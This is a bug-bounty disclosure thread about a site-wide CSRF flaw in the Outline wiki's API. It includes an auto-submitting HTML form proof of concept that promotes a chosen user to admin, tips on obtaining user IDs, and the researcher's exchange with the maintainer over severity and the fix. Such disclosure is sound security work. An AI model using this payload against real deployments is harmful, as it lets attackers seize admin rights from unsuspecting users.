Incorrect API design lead to Site wide CSRF in outline/outline

Valid

Reported on

Sep 4th 2022


Description

By design, the api body only accepts is json values. But we can send with non-json values, beside, api accept auth from accessToken in Cookie. All of that leads to many other consequences, typically csrf.

Example: CSRF - promote normal user to admin

Origin Body

{id: "dde0b2da-6eda-4baf-aee2-6bb23f613b72"}

Edited Body

id=dde0b2da-6eda-4baf-aee2-6bb23f613b72

PoC.html

<html>
  <body>
    <form action="<outline-root-url>/api/users.promote" method="POST">
      <input type="hidden" name="id" value="<id-to-promote>" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

Site wide CSRF

Occurrences

We are processing your report and will contact the outline team within 24 hours. 3 months ago
May28Available modified the report
3 months ago
May28Available modified the report
3 months ago
May28Available modified the report
3 months ago
May28Available modified the report
3 months ago
Tom Moor
3 months ago

I'm not sure I understand the relevance of json vs multipart form data when it relates to CSRF? The API is open to requests from all domains due to our support for custom domains, the lenient CORS policy was a known tradeoff.

May28Available
3 months ago

Researcher


If the api only accepts the value of body as json then csrf won't happen. Because of the csrf vulnerability that exploits the submission of forms, and form cannot submitted with a body as json.

May28Available
3 months ago

Researcher


Generally, APIs that accept body values as parameters leave it vulnerable to csrf if that request is not protected with a csrf token.

May28Available
3 months ago

Researcher


You can prevent this vulnerability by adding csrf tokens for each request, or more simply is only accept requests with a body of json.

We have contacted a member of the outline team and are waiting to hear back 3 months ago
May28Available modified the report
3 months ago
May28Available
3 months ago

Researcher


@tommoor Any update?

We have sent a follow up to the outline team. We will try again in 7 days. 3 months ago
May28Available
3 months ago

Researcher


@tommoor how's everything? I just had a new idea for easier csrf prevention: API only accept identifier by Token above header, not identifier by Token, that will protect API from csrf attacks, because of This attack cannot insert the exact victim's Token in the header. Alternatively, we can change the domain name of the API to another domain, for example, api.abc.getoutline.com, which will prevent the Cookie from being shared with the API.

May28Available
3 months ago

Researcher


Sorry, I misspelled the above. API only accept identifier by Token above header, not identifier by Cookies, that will protect API from csrf attacks, because of This attack cannot insert the exact victim's Token in the header.

May28Available
3 months ago

Researcher


Here is an example for not accept Access Token contained in Cookie:

Only Access Token contained in the authorization header should be accepted.

May28Available submitted a
3 months ago
May28Available modified the report
3 months ago
May28Available
3 months ago

Researcher


I just edited the description: By design, the api body only accepts is json values. But we can send with non-json values, beside, api accept auth from accessToken in Cookie. All of that leads to many other consequences, typically csrf.

May28Available
3 months ago

Researcher


I've just submitted a patch that may block all future csrf vulnerability of api.

May28Available
3 months ago

Researcher


@admin @tommoor Any update?

We have sent a second follow up to the outline team. We will try again in 10 days. 3 months ago
Tom Moor
2 months ago

It's not as simple as the patch you suggested of course, otherwise why would we have cookie auth at all? ;) I believe this report is valid and we'll make changes but as usual I'm going to argue on the severity – for one, you also need to have an ID from somewhere…

May28Available
2 months ago

Researcher


Cookie is just a place to store AccessToken, and in the sending area, we will insert it into the Header to verify as you did. Cookie is just a place to store AccessToken, and in the sending API request, we should insert it into the header to auth as you did. And I found that removing cookie authentication was a simple way to prevent csrf attacks, and it didn't affect the operation of the application at all. That's why I recommend it.

May28Available
2 months ago

Researcher


The API still to authenticate with cookies is redundant, and potentially dangerous.

May28Available
2 months ago

Researcher


As for the user ID (also say the attacker's own ID) there are many ways the attacker can get it. The simplest is /api/users.list which returns the IDs of all the users. Or /api/auth.info returns the attacker's own ID.

Tom Moor
2 months ago

As far as I can tell this is fixed in production through the addition of sameSite = "strict" on new accessToken cookies, willing to accept as low severity.

May28Available
2 months ago

Researcher


The severity is not related to the difficulty of fix, it is affected by the impact of the vulnerability. And the impact here is high, the attacker can elevate to admin and many other things.

May28Available
2 months ago

Researcher


Can you consider in and set the severity as high? If we count only this single report, it is not necessarily high. But if combined with my previous report of being able to use GET request, an attacker can completely bypass sameSite = "strict" by simply inserting the link /api/users.promote?id=<id- to-promote> with link markdown function. Thanks!

We have sent a third and final follow up to the outline team. This report is now considered stale. 2 months ago
May28Available modified the report
2 months ago
May28Available modified the report
2 months ago
May28Available modified the report
2 months ago
May28Available
2 months ago

Researcher


I accept medium severity.

Tom Moor
2 months ago

"If we count only this single report, it is not necessarily high. But if combined with my previous report of being able to use GET request,"

You can't combine with a previously-fixed issue to elevate the severity of this one, that makes not sense.

Tom Moor validated this vulnerability 2 months ago
May28Available has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Tom Moor marked this as fixed in v0.67.0 with commit 89a133 2 months ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
index.ts#L0 has been validated
to join this conversation